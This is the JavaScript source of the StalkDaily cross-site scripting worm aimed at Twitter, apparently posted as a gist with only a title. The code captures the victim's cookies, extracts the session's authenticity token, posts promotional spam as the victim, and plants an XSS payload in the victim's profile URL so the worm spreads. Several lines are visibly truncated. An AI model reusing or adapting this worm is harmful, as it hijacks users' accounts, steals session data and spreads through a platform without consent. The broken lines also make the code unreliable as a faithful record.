StalkDaily XSS worm

http://gist.github.com/93782

function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET")
{
xmlhttp.open(sMethod, sURL+"?"+sVars, true);
sVars = "";
}
else
{
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && !bComplete)
{
bComplete = true;
fnDone(xmlhttp);
}};
xmlhttp.send(sVars);
}
catch(z) { return false; }
return true;
};
return this;
}

function urlencode( str ) {
var histogram = {}, tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
return "%"+m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/var username = userreg.exec(content);
username = username[1];

var cookie;
cookie = urlencode(document.cookie);
document.write("");
document.write("");

function wait()
{
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var randomUpdate=new Array();
randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com">
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);